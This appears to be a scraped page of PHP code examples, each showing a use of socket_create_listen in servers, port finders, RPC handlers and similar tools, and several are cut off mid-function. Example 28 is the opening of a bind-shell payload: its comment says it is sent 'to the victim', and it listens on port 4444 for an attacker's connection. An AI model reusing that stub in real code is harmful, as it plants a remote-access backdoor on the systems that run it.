Exemplo n.º 1
0
 public function __construct($conf_file)
 {
     /*{{{*/
     $this->_bind_port = BIND_PORT;
     $this->_sock = @socket_create_listen($this->_bind_port);
     $this->conf_file = $conf_file;
 }
Exemplo n.º 2
0
 function __construct($port)
 {
     $this->_listen_socket = socket_create_listen($port);
     if (!$this->_listen_socket) {
         throw new Exception("failed to bind to port");
     }
     $this->_socket_array[(int) $this->_listen_socket] = $this->_listen_socket;
 }
Exemplo n.º 3
0
 function __construct($port = 9090, $handler = null)
 {
     $this->ls = socket_create_listen($port);
     $this->handler = $handler;
     if (!$this->ls) {
         $err = socket_strerror(socket_last_error());
         throw new SocketException("Error when trying to open socket: " . $err);
     }
 }
Exemplo n.º 4
0
 public function onStart()
 {
     $this->socket = socket_create_listen(10080, SOMAXCONN);
     if ($this->socket == false) {
         throw new RuntimeException("Listening on port 10080 failed: " . socket_last_error());
     }
     socket_set_nonblock($this->socket);
     L::level(L::DEBUG) && L::log(L::DEBUG, __CLASS__, "Installed JSON listener...", array());
 }
Exemplo n.º 5
0
function create_listen_random_port()
{
    for ($i = 0; $i < 100; $i++) {
        $port = get_random_port();
        if (@socket_create_listen($port)) {
            return $port;
        }
    }
    return 0;
}
Exemplo n.º 6
0
 private static function getAuthenticationCode(Client $client)
 {
     // TODO: Figure out why the callback URL (passed as the second
     // parameter) does not seem to matter here, but passing a non-empty
     // string causes the authentication process to not be initiated.
     $url = $client->getLoginUrl(array('wl.skydrive_update'), '');
     echo "Integration test suite started.\n\nPlease sign into your OneDrive account from this page and grant to the app all\nthe privileges requested:\n\n\t{$url}\n\nThis process will then resume, do not interrupt it.\n";
     $server = @socket_create_listen(self::PORT, 1);
     if (false === $server) {
         $message = socket_strerror(socket_last_error());
         throw new \Exception($message);
     }
     $socketRemote = @socket_accept($server);
     if (false === $socketRemote) {
         $message = socket_strerror(socket_last_error());
         socket_close($server);
         throw new \Exception($message);
     }
     $buffer = @socket_read($socketRemote, 4096, PHP_BINARY_READ);
     if (false === $buffer) {
         $message = socket_strerror(socket_last_error());
         socket_close($socketRemote);
         socket_close($server);
         throw new \Exception($message);
     }
     $size = @socket_write($socketRemote, implode("\r\n", array('HTTP/1.1 200 OK', 'Content-Type: text/html; charset=utf-8', '', '<!DOCTYPE html><h1>Thank you</h1><p>The integration test suite started running. You can close this window.</p>')));
     if (false === $size) {
         $message = socket_strerror(socket_last_error());
         socket_close($socketRemote);
         socket_close($server);
         throw new \Exception($message);
     }
     socket_close($socketRemote);
     socket_close($server);
     list($headers, $body) = explode("\r\n\r\n", $buffer);
     $headers = explode("\r\n", $headers);
     $request = $headers[0];
     if (1 !== preg_match('/^GET\\s+(.+)\\s+HTTP\\/1\\.1$/', $request, $matches)) {
         throw new \Exception('Unsupported HTTP request format');
     }
     $url = $matches[1];
     $components = parse_url($url);
     $query = $components['query'];
     $params = explode('&', $query);
     $query = array();
     array_map(function ($param) use(&$query) {
         list($key, $value) = explode('=', $param);
         $query[$key] = $value;
     }, $params);
     if (!array_key_exists('code', $query)) {
         throw new \Exception('Code is missing from the request. Did you log in successfully and granted all the privileges requested?');
     }
     return $query['code'];
 }
function random_free_port()
{
    for ($i = 0; $i < 100; $i++) {
        $port = rand(50000, 65000);
        if ($socket = @socket_create_listen($port)) {
            socket_close($socket);
            return $port;
        }
    }
    return 0;
}
Exemplo n.º 8
0
 public function __construct(array $event_source_closure_array)
 {
     if (!$event_source_closure_array) {
         throw new Exception("\$event_source_closure_array must contain at least 1 item");
     }
     $this->_listen_socket = socket_create_listen(0);
     $this->_socket_array[(int) $this->_listen_socket] = $this->_listen_socket;
     socket_getsockname($this->_listen_socket, $this->_listen_socket_address, $this->_listen_socket_port);
     foreach ($event_source_closure_array as $event_source_closure_info) {
         list($event_source_closure_writer, $event_source_closure_reader) = $event_source_closure_info;
         $this->forkEventSourceClosure($event_source_closure_writer, $event_source_closure_reader);
     }
 }
Exemplo n.º 9
0
 /**
  * Constructor.
  *
  * @throws \Exception Connection Error exception.
  */
 public function __construct()
 {
     try {
         if (($this->sock = socket_create_listen(4222)) === false) {
             echo socket_strerror(socket_last_error());
         } else {
             echo "Socket created\n";
         }
         socket_getsockname($this->sock, $this->addr, $this->port);
     } catch (\Exception $e) {
         throw $e;
     }
 }
function findUnusedPort($minimum, $maximum)
{
    if ($minimum > $maximum) {
        throw new InvalidArgumentException('$minimum MUST be <= $maximum');
    }
    $sck = NULL;
    for ($i = $minimum; $i < $maximum; ++$i) {
        $sck = socket_create_listen($i);
        if (false !== $sck) {
            socket_close($sck);
            return $i;
        }
    }
    throw new RuntimeException('failed to find an unused port between ' . $minimum . ' and ' . $maximum);
}
Exemplo n.º 11
0
function main()
{
    global $argv, $argc;
    if ($argc != 2) {
        print "Usage: " . $argv[0] . " [port]\n";
        exit;
    }
    $port = $argv[1];
    error_reporting(E_ALL);
    /* Allow the script to hang around waiting for connections. */
    set_time_limit(0);
    /* Turn on implicit output flushing so we see what we're getting
     * as it comes in. */
    ob_implicit_flush();
    if (($sock = socket_create_listen($port, 10)) === false) {
        print "Cannot listen on {$port}!\n";
        exit;
    }
    $open = array();
    while (true) {
        // Accept a connection and receive a file descriptor
        $sock_array = array($sock);
        $num_changed_sockets = socket_select($sock_array, $write = NULL, $exc = NULL, 0, 100000);
        // 0.1 sec
        if ($num_changed_sockets == 1) {
            $fd = socket_accept($sock);
            socket_getpeername($fd, $remoteAddr, $remotePort);
            log_dictLog("Client connected from {$remoteAddr}");
            socket_write($fd, "220 dict protocol implementation for DEX\r\n");
            array_push($open, $fd);
        }
        // Duplicate $open and perform I/O on each available handle
        $dup = $open;
        if (count($dup)) {
            $num_changed_sockets = socket_select($dup, $write = NULL, $exc = NULL, 0, 100000);
            // 0.1 sec
        }
        foreach ($dup as $available_fd) {
            if (handle_line($available_fd) != 0) {
                // Remove $available_fd from $open
                $pos = array_search($available_fd, $open);
                if ($pos !== false) {
                    array_splice($open, $pos, 1);
                }
            }
        }
    }
}
Exemplo n.º 12
0
 private function isPortAvailable(int $port) : bool
 {
     $h = null;
     try {
         $h = socket_create_listen($port);
         if ($h !== false) {
             return true;
         }
     } catch (\ErrorException $e) {
         // just ignore exception port already in use
     } finally {
         if (is_resource($h)) {
             socket_close($h);
         }
     }
     return false;
 }
Exemplo n.º 13
0
 public function start()
 {
     $serverHost = $serverPort = null;
     $serverSocket = @socket_create_listen($this->_port, $this->_max_connection);
     if ($serverSocket !== false) {
         socket_set_nonblock($serverSocket);
         if (socket_getsockname($serverSocket, $serverHost, $serverPort)) {
             $this->_address = $serverHost;
             if ($serverPort != $this->_port) {
                 $this->_port = $serverPort;
             }
             $this->_socket =& $serverSocket;
             $e =& new Event('start', $this, 'Le serveur est démarré');
             $this->dispatch($e);
             $this->_listen();
         }
     } else {
         $e =& new Event('error', $this, sprintf('Impossible d\'ouvrir une socket sur le port %s', $this->_port));
         $this->dispatch($e);
     }
 }
Exemplo n.º 14
0
 /**
  * @throws Exception\NetworkErrorException
  */
 public function recv()
 {
     try {
         ErrorHandler::start();
         $this->listenSocket = socket_create_listen($this->port);
         $error = ErrorHandler::stop();
         $sockList = array($this->listenSocket);
         if ($this->listenSocket === false) {
             throw new NetworkErrorException("Cannot listen on port " . $this->port, 0, $error);
         }
         while (true) {
             $moveList = $sockList;
             $moveNums = socket_select($moveList, $w = null, $e = null, null);
             foreach ($moveList as $moveItem) {
                 if ($moveItem == $this->listenSocket) {
                     $acptItem = socket_accept($this->listenSocket);
                     $sockList[] = $acptItem;
                 } else {
                     $data = socket_read($moveItem, $this->back->getSize());
                     list($code, $func, $args) = $this->back->serverRecvObject($data);
                     $hand = $this->hand;
                     $error = null;
                     try {
                         $ret = call_user_func_array(array($hand, $func), $args);
                     } catch (\Exception $e) {
                         $ret = null;
                         $error = $e->__toString();
                     }
                     $send = $this->back->serverSendObject($code, $ret, $error);
                     socket_write($moveItem, $send);
                     unset($sockList[array_search($moveItem, $sockList)]);
                     socket_close($moveItem);
                 }
             }
         }
     } catch (\Exception $e) {
         throw new NetworkErrorException("Server error", 0, $e);
     }
 }
Exemplo n.º 15
0
 public function recv()
 {
     try {
         $this->_listen_socket = socket_create_listen($this->port);
         $sockList = array($this->_listen_socket);
         if ($this->_listen_socket === FALSE) {
             throw new MessagePackRPC_Error_NetworkError(error_get_last());
         }
         // TODO : Server connection check
         // TODO : Server connection outer
         while (TRUE) {
             $moveList = $sockList;
             $moveNums = socket_select($moveList, $w = null, $e = null, null);
             foreach ($moveList as $moveItem) {
                 if ($moveItem == $this->_listen_socket) {
                     $acptItem = socket_accept($this->_listen_socket);
                     $sockList[] = $acptItem;
                 } else {
                     $data = socket_read($moveItem, $this->back->size);
                     list($code, $func, $args) = $this->back->serverRecvObject($data);
                     $hand = $this->hand;
                     $error = null;
                     try {
                         $ret = call_user_func_array(array($hand, $func), $args);
                     } catch (Exception $e) {
                         $ret = null;
                         $error = $e->__toString();
                     }
                     $send = $this->back->serverSendObject($code, $ret, $error);
                     socket_write($moveItem, $send);
                     unset($sockList[array_search($moveItem, $sockList)]);
                     socket_close($moveItem);
                 }
             }
         }
     } catch (Exception $e) {
         // TODO:
     }
 }
Exemplo n.º 16
0
 /**
  * 初期化処理
  */
 protected function before()
 {
     // ソケット作成
     $this->sock = @socket_create_listen($this->config['port']);
     if (!is_resource($this->sock)) {
         // ソケット作成失敗(ポーリング設定しないので、事実上このプラグインは動作しないで続行される)
         fputs(STDERR, sprintf("ERROR! Socket open faild. (%s)\n", socket_strerror(socket_last_error())));
         exit(1);
     } else {
         // オプション設定(失敗しても続行)
         if (!socket_set_option($this->sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
             fputs(STDERR, sprintf("ERROR! Socket option set faild. (%s)\n", socket_strerror(socket_last_error())));
         }
         // ノンブロッキングモードで動作
         if (!socket_set_nonblock($this->sock)) {
             fputs(STDERR, sprintf("ERROR! Socket set nonblock faild. (%s)\n", socket_strerror(socket_last_error())));
         } else {
             // ポーリングするようにする
             $this->setPolling(1);
             // 1秒間隔で実行
         }
     }
 }
Exemplo n.º 17
0
<?php

$rand = rand(1, 999);
// wrong parameter count
$s_w = socket_write();
$s_c = socket_create_listen(31330 + $rand);
$s_w = socket_write($s_c);
$s_w = socket_write($s_c, "foo");
socket_close($s_c);
 public function __construct($address = 'localhost', $port = 80, $callback_on_data_receive = null, $callback_on_hand_shake = null)
 {
     pcntl_signal(SIGCHLD, SIG_IGN);
     ob_implicit_flush();
     if ($address == 'localhost') {
         $this->socket_master = socket_create_listen($port);
         if ($this->socket_master === false) {
             echo PHP_EOL . 'WebSocket create_listen failed:' . socket_last_error() . PHP_EOL . PHP_EOL;
             return false;
         }
         socket_set_option($this->socket_master, SOL_SOCKET, SO_REUSEADDR, 1);
     } else {
         $this->socket_master = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
         socket_set_option($this->socket_master, SOL_SOCKET, SO_REUSEADDR, 1);
         socket_bind($this->socket_master, $address, $port);
         socket_listen($this->socket_master, 5);
         // TODO XXX potentially set the 'backlog' parameter
     }
     array_push($this->sockets, $this->socket_master);
     $this->callback_on_data_receive = $callback_on_data_receive;
     $this->callback_on_hand_shake = $callback_on_hand_shake;
     echo 'WebSocket Server Active: ' . $address . ':' . $port . PHP_EOL;
     while (true) {
         $changed = $this->sockets;
         $null = null;
         if (socket_select($changed, $null, $null, null) < 1) {
             continue;
         }
         //if($s == false) echo socket_strerror(socket_last_error());
         foreach ($changed as $socket) {
             if ($socket == $this->socket_master) {
                 $connection = socket_accept($this->socket_master);
                 if ($connection !== false) {
                     if (self::$debug_mode) {
                         $this->debug_msg($connection, 'Connecting');
                     }
                     $this->connect($connection);
                 }
             } else {
                 /*	$bytes = 0;
                 					$buffer = null;
                 
                 					while(($recv_bytes = socket_recv($socket, $recv_buffer, 1024, 0)) > 0)
                 					{ echo rand(1, 9);
                 						$bytes += $recv_bytes;
                 						$buffer .= $recv_buffer;
                 					} */
                 $bytes = socket_recv($socket, $buffer, 2048, 0);
                 if ($bytes == 0) {
                     if (self::$debug_mode) {
                         $this->debug_msg($socket, 'Disconnecting');
                     }
                     $this->disconnect($socket);
                 } else {
                     $user = false;
                     foreach ($this->users as &$u) {
                         if ($u->socket == $socket) {
                             $user = $u;
                             break;
                         }
                     }
                     if ($user === false) {
                         continue;
                     } else {
                         if ($user->handshake == false) {
                             $hshake = $this->process_hand_shake($user, $buffer);
                             if ($hshake && $this->callback_on_hand_shake != false && is_callable($this->callback_on_hand_shake)) {
                                 $ret = call_user_func($this->callback_on_hand_shake, $user);
                             }
                         } else {
                             if (function_exists('pcntl_fork')) {
                                 $id = pcntl_fork();
                                 if ($id == -1) {
                                     echo 'forking error';
                                 } else {
                                     if ($id) {
                                         // parent process
                                         continue;
                                     }
                                 }
                                 // child process
                                 $this->process_data($user, $buffer);
                                 posix_kill(posix_getpid(), SIGINT);
                             } else {
                                 $this->process_data($user, $buffer);
                             }
                         }
                     }
                 }
             }
         }
     }
 }
Exemplo n.º 19
0
            $response["body"][] = "<head>";
            $response["body"][] = "<title>Multithread Sockets PHP ({$address}:{$port})</title>";
            $response["body"][] = "</head>";
            $response["body"][] = "<body>";
            $response["body"][] = "<pre>";
            foreach ($headers as $header) {
                $response["body"][] = "{$header}";
            }
            $response["body"][] = "</pre>";
            $response["body"][] = "</body>";
            $response["body"][] = "</html>";
            $response["body"] = implode("\r\n", $response["body"]);
            $response["head"][] = sprintf("Content-Length: %d", strlen($response["body"]));
            $response["head"] = implode("\r\n", $response["head"]);
            socket_write($client, $response["head"]);
            socket_write($client, "\r\n\r\n");
            socket_write($client, $response["body"]);
            socket_close($client);
        }
    }
}
/* ladies and gentlemen, the world first multi-threaded socket server in PHP :) */
$server = socket_create_listen(13000);
while ($client = socket_accept($server)) {
    $clients[] = new Client($client);
    /* we will serve a few clients and quit, to show that memory is freed and there are no errors on shutdown (hopefully) */
    /* in the real world, do something here to ensure clients not running are destroyed */
    /* the nature of a socket server is an endless loop, 
    		if you do not do something to explicitly destroy clients you create this may leak */
}
/* that is all */
Exemplo n.º 20
0
 function run()
 {
     syslog(LOG_INFO, "Cuke4Php listening on port {$this->iPort}\n");
     $this->oSocket = socket_create_listen($this->iPort);
     $this->bRun = true;
     while ($this->bRun && ($connection = socket_accept($this->oSocket))) {
         socket_getpeername($connection, $raddr, $rport);
         syslog(LOG_INFO, "Connection from {$raddr}");
         try {
             while ($this->bRun && ($input = socket_read($connection, 4096, PHP_NORMAL_READ))) {
                 $data = trim($input);
                 if ($data !== "") {
                     $output = json_encode($this->process($data)) . "\n";
                     if ($this->bRun) {
                         socket_write($connection, $output);
                     }
                 }
             }
         } catch (Exception $e) {
             switch (socket_last_error($connection)) {
                 case 54:
                     // connection closed by peer
                 // connection closed by peer
                 case 104:
                     // unable to read from socket
                     // these errors just mean we are done and the connection should be closed.
                     // it does not mean we should stop listening for new connections.
                     break;
                 default:
                     syslog(LOG_ERR, $e->getMessage());
                     throw $e;
                     break;
             }
         }
         socket_close($connection);
         syslog(LOG_INFO, "Connection closed");
         sleep(1);
     }
 }
Exemplo n.º 21
0
<?php

class Test extends Thread
{
    public $stop = false;
    public function __construct($socket)
    {
        $this->socket = $socket;
    }
    public function run()
    {
        while (++$clients < 10 && ($client = socket_accept($this->socket))) {
            printf("Accept in %lu\n", $this->getThreadId());
            var_dump($client);
            var_dump($this->socket);
            socket_close($client);
        }
    }
}
$workers = array();
$sock = socket_create_listen($argv[1]);
if ($sock) {
    while (++$worker < 5) {
        $workers[$worker] = new Test($sock);
        $workers[$worker]->start();
    }
    printf("%d threads waiting on port %d\n", count($workers), $argv[1]);
}
foreach ($workers as $thread) {
    $thread->join();
}
Exemplo n.º 22
0
 function start()
 {
     if ($this->status_listening) {
         return FALSE;
     }
     $this->sockets = array();
     $cursocket = 0;
     foreach ($this->listen as $listen) {
         if ($listen['ADDR'] == "*") {
             $this->sockets[$cursocket]['socket'] = socket_create_listen($listen['PORT']);
             $listen['ADDR'] = FALSE;
         } else {
             $this->sockets[$cursocket]['socket'] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
         }
         if ($this->sockets[$cursocket]['socket'] < 0) {
             return FALSE;
         }
         if (@socket_bind($this->sockets[$cursocket]['socket'], $listen['ADDR'], $listen['PORT']) < 0) {
             return FALSE;
         }
         if (socket_listen($this->sockets[$cursocket]['socket']) < 0) {
             return FALSE;
         }
         if (!socket_set_option($this->sockets[$cursocket]['socket'], SOL_SOCKET, SO_REUSEADDR, 1)) {
             return FALSE;
         }
         if (!socket_set_nonblock($this->sockets[$cursocket]['socket'])) {
             return FALSE;
         }
         $this->sockets[$cursocket]['info'] = array("ADDR" => $listen['ADDR'], "PORT" => $listen['PORT']);
         $this->sockets[$cursocket]['channels'] = array();
         $this->sockets[$cursocket]['id'] = $cursocket;
         $cursocket++;
     }
     $this->status_listening = TRUE;
 }
Exemplo n.º 23
0
 function SelectSocketServer($port)
 {
     global $errno, $errstr;
     if ($port < 1024) {
         die("Port must be a number which bigger than 1024\n");
     }
     $socket = socket_create_listen($port);
     if (!$socket) {
         die("Listen {$port} failed");
     }
     socket_set_nonblock($socket);
     // non_blocking
     while (true) {
         $readfds = array_merge(self::$connections, array($socket));
         $writefds = array();
         //select one link and get the pip
         if (socket_select($readfds, $writefds, $e = null, $t = self::$timeout)) {
             if (in_array($socket, $readfds)) {
                 $newconn = socket_accept($socket);
                 $i = (int) $newconn;
                 $reject = '';
                 if (count(self::$connections) >= self::$maxconns) {
                     $reject = "Server full, Try again later.\n";
                 }
                 self::$connections[$i] = $newconn;
                 $writefds[$i] = $newconn;
                 if ($reject) {
                     socket_write($writefds[$i], $reject);
                     unset($writefds[$i]);
                     self::close($i);
                 } else {
                     echo "Client {$i} come.\n";
                 }
                 // remove the listening socket from the clients-with-data array
                 $key = array_search($socket, $readfds);
                 unset($readfds[$key]);
             }
             foreach ($readfds as $rfd) {
                 $i = (int) $rfd;
                 $line = @socket_read($rfd, 2048, PHP_NORMAL_READ);
                 if ($line === false) {
                     echo "Connection closed on socket {$i}.\n";
                     self::close($i);
                     continue;
                 }
                 $tmp = substr($line, -1);
                 if ($tmp != "\r" && $tmp != "\n") {
                     continue;
                 }
                 $line = trim($line);
                 if ($line == "quit") {
                     echo "Client {$i} quit.\n";
                     self::close($i);
                     break;
                 }
                 if ($line) {
                     echo "Client {$i} >>" . $line . "\n";
                     self::InsertDB($line);
                     //$this->bar();
                 }
             }
             //foreach ($writefds as $wfd) {
             //	$i = (int) $wfd;
             //	$w = socket_write($wfd, "Welcome Client $i!\n");
             //}
         }
     }
 }
Exemplo n.º 24
0
<?php

require_once 'MMMConfiguration.class.php';
require_once 'Net/DNS2.php';
$config_manager = MMMConfiguration::getInstance();
if (!$config_manager->load('mmm_ddns_agent.conf')) {
    echo 'Invalid configuration for mmm_ddns_agent';
    exit(1);
}
// a forking agent to listen for commands to pass to nameserver
// to be used with MMM
$sock = socket_create_listen($config_manager->item('port'));
# loop
if ($sock) {
    print "Daemon started, listening on " . $config_manager->item('port') . "\n";
    while ($new_socket = socket_accept($sock)) {
        // fork so child handles connection
        $pid = pcntl_fork();
        if ($pid == -1) {
            print "ERROR: fork failed on receiving command, quitting\n";
            exit(1);
        } elseif ($pid) {
            // parent, close new socket and keep listening
            socket_close($new_socket);
            // clear any previously exited children that are still zombie
            while (pcntl_waitpid(-1, $status, WNOHANG) > 0) {
            }
        } else {
            // child, let's handle the socket command
            $cmd = socket_read($new_socket, 4096, PHP_NORMAL_READ);
            $cmd = trim($cmd);
Exemplo n.º 25
0
<?php

$sock = socket_create_listen(80);
unlink(dirname(__FILE__) . '/006_root_check.tmp');
Exemplo n.º 26
0
 function ftp_data_connection(&$fc)
 {
     if (!$fc["d"] || feof($fc["d"])) {
         #-- make client establish connection (PASsiVe server)
         if ($fc["pasv"]) {
             ftp_send($fc, "PASV\n");
             #-- reply ok?
             if ($fc["err"] == 227) {
                 $l = strpos($fc["msg"], "(");
                 $r = strpos($fc["msg"], ")", $l);
                 $uu = explode(",", substr($fc["msg"], $l + 1, $r - $l - 1));
                 $ip = "{$uu['0']}.{$uu['1']}.{$uu['2']}.{$uu['3']}";
                 $port = ((int) $uu[4] << 8) + (int) $uu[5];
                 #-- all done
                 if ($port) {
                     if (!($fc["d"] = @fsockopen($ip, $port, $errno, $errstr, 25))) {
                         ftp_err("data socket connection could not be established [{$errno} - {$errstr}]");
                     }
                 } else {
                     ftp_err("data connection negotiation problem (server uses wrong syntax)");
                 }
             } else {
                 $fc["pasv"] = 0;
                 ftp_err("falling back to standard (ACTiVe server) connection mode");
                 ftp_data_connection($fc);
             }
         } elseif (!$fc["s"]) {
             if (!function_exists("socket_listen")) {
                 ftp_err("could not establish data connection, because PHP socket I/O functions are absent");
             } else {
                 $ip = strtr(gethostbyname("localhost"), ".", ",");
                 #-- loop, test randomly choosen ports
                 $retry = 20;
                 $s = 0;
                 while (!$s && $retry-- >= 0) {
                     $port = rand(3072, 65535);
                     $p1 = $port >> 8;
                     $p2 = $port & 0xff;
                     ftp_send($fc, "PORT {$ip},{$p1},{$p2}\n");
                     if ($fc["err"] == 200) {
                         $s = socket_create_listen($port);
                     }
                 }
                 if ($s) {
                     $fc["s"] = $s;
                 } else {
                     ftp_err("could not create listening socket for (ACTiVe server) data connection");
                 }
             }
         }
     }
 }
Exemplo n.º 27
0
 /**
  * Opens a socket on port to accept connections.
  *
  * <p>Creates a new socket resource of type <code>AF_INET</code> listening on all local interfaces on the given
  * port waiting for new connections.</p>
  *
  * @param int $port    The port on which to listen on all interfaces.
  * @param int $backlog <p>The backlog parameter defines the maximum length the queue of pending connections may
  *                     grow to. <code>SOMAXCONN</code> may be passed as the backlog parameter.</p>
  *
  * @throws Exception\SocketException If the socket is not successfully created.
  *
  * @see Socket::create()
  * @see Socket::bind()
  * @see Socket::listen()
  *
  * @return Socket Returns a Socket object based on the successful creation of the php socket.
  */
 public static function createListen($port, $backlog = 128)
 {
     $return = @socket_create_listen($port, $backlog);
     if ($return === false) {
         throw new SocketException();
     }
     $socket = new self($return);
     $socket->domain = AF_INET;
     return $socket;
 }
Exemplo n.º 28
0
#<?php 
# The payload handler overwrites this with the correct LPORT before sending
# it to the victim.
$port = 4444;
$ipaddr = "0.0.0.0";
if (is_callable('stream_socket_server')) {
    $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
    if (!$srvsock) {
        die;
    }
    $s = stream_socket_accept($srvsock, -1);
    fclose($srvsock);
    $s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
    $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!$res) {
        die;
    }
    $s = socket_accept($srvsock);
    socket_close($srvsock);
    $s_type = 'socket';
} elseif (is_callable('socket_create')) {
    $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    $res = socket_bind($srvsock, $ipaddr, $port);
    if (!$res) {
        die;
    }
    $s = socket_accept($srvsock);
    socket_close($srvsock);
    $s_type = 'socket';
} else {
Exemplo n.º 29
0
 function Entry()
 {
     $socket = socket_create_listen(2500, 100);
     while ($socket == false) {
         print "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
         print "re-trying connection...\n";
         $socket = socket_create_listen(2500, 100);
     }
     $clients =& $this->parent->m_user_sockets;
     $this->parent->m_main_socket = $socket;
     while (true) {
         foreach ($this->parent->connections as $ip) {
             if (!$this->parent->isAlreadyConnected($ip)) {
                 $socket_connect = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                 if (socket_connect($socket_connect, $ip, 2500)) {
                     $clients[] = $socket_connect;
                     $message = "name," . $this->parent->m_name;
                     socket_write($socket_connect, $message, strlen($message));
                     continue 2;
                 }
             }
         }
         $clients_to_read = array();
         $clients_to_read[] = $socket;
         foreach ($clients as $client_position => $client_socket) {
             $clients_to_read[] = $client_socket;
         }
         $num_clients_sending_data = socket_select($clients_to_read, $dummy1 = null, $dumm2 = null, $dummy3 = null);
         if (in_array($socket, $clients_to_read)) {
             $temp = socket_accept($socket);
             socket_getpeername($temp, $ip);
             if (!$this->parent->isAlreadyConnected($ip)) {
                 $clients[] = $temp;
                 $message = "name," . $this->parent->m_name;
                 socket_write($temp, $message, strlen($message));
             }
             $num_clients_sending_data--;
             if ($num_clients_sending_data <= 0) {
                 continue;
             }
         }
         foreach ($clients as $client_position => $client_socket) {
             if (in_array($client_socket, $clients_to_read)) {
                 $input = trim(socket_read($client_socket, 2048));
                 if ($input == "") {
                     socket_close($client_socket);
                     unset($clients[$client_position]);
                     $this->parent->onUserDisconnected($client_position);
                     continue;
                 }
                 $input = explode(",", $input, 2);
                 if ($input[0] == "name") {
                     $this->parent->onUserConnected($client_position, $input[1]);
                 } elseif ($input[0] == "name_change") {
                     $this->parent->onUserNameChanged($client_position, $input[1]);
                 } elseif ($input[0] == "send_file") {
                     $this->parent->messages[] = array($client_position, "file_transfer", $input[1]);
                 } elseif ($input[0] == "accept_file") {
                     if (isset($this->parent->files_to_send[$client_position])) {
                         $file = "transfer," . file_get_contents($this->parent->files_to_send[$client_position]) . "";
                         $len = strlen($file);
                         $offset = 0;
                         while ($offset < $len) {
                             $sent = socket_write($client_socket, substr($file, $offset), $len - $offset);
                             if ($sent === false) {
                                 // Error occurred, break the while loop
                                 break;
                             }
                             $offset += $sent;
                         }
                         if ($offset < $len) {
                             $errorcode = socket_last_error();
                             $errormsg = socket_strerror($errorcode);
                             echo "SENDING ERROR: {$errormsg}";
                         } else {
                             // Data sent ok
                         }
                         unset($this->parent->files_to_send[$client_position]);
                     }
                 } elseif ($input[0] == "cancel_file") {
                     if (isset($this->parent->files_to_send[$client_position])) {
                         unset($this->parent->files_to_send[$client_position]);
                     }
                 } elseif ($input[0] == "transfer") {
                     if (isset($this->parent->files_to_store[$client_position])) {
                         $file = $input[1];
                         $data = "";
                         do {
                             $data = trim(socket_read($client_socket));
                             $file .= $data;
                         } while ($data != "");
                         file_put_contents($this->parent->files_to_store[$client_position], $file);
                         unset($this->parent->files_to_store[$client_position]);
                     }
                 } elseif ($input[0] == "message") {
                     $this->parent->onUserMessage($client_position, $input[1]);
                 }
             }
         }
         print_r($this->parent->m_user_sockets);
     }
     socket_close($socket);
     return;
 }
Exemplo n.º 30
0
 *  @author Kai Kühn
 */
if (array_key_exists('SERVER_NAME', $_SERVER) && $_SERVER['SERVER_NAME'] != NULL) {
    echo "Invalid access! A maintenance script MUST NOT accessed from remote.";
    return;
}
$mediaWikiLocation = dirname(__FILE__) . '/../../..';
require_once "{$mediaWikiLocation}/maintenance/commandLine.inc";
$rate = array_key_exists('r', $options) ? $options['r'] : NULL;
if (!is_numeric($rate) || $rate > 1) {
    $rate = 0.5;
    // 0.5 jobs/second is default rate
}
$dbw = wfGetDB(DB_SLAVE);
// define socket which listens for a break signal
$socket = socket_create_listen("9876");
// port is freely chosen
socket_set_nonblock($socket);
// max number of threads to be considered to calculate sleeping time
define('MAX_THREADS_CONSIDERED', 10);
global $wgLoadBalancer;
print "-------------------------------------------------\n";
print " Running jobs... ({$rate} jobs/second)    \t\t \n";
print "-------------------------------------------------\n";
for (;;) {
    // determine the most lagged slave
    // if $lag == -1, there's no slave.
    list($host, $lag) = LBFactory::singleton()->getMainLB()->getMaxLag();
    if ($lag == -1) {
        // make sleeping time adaptive to database load.
        $runningThreads = smwfGetNumOfRunningThreads($dbw);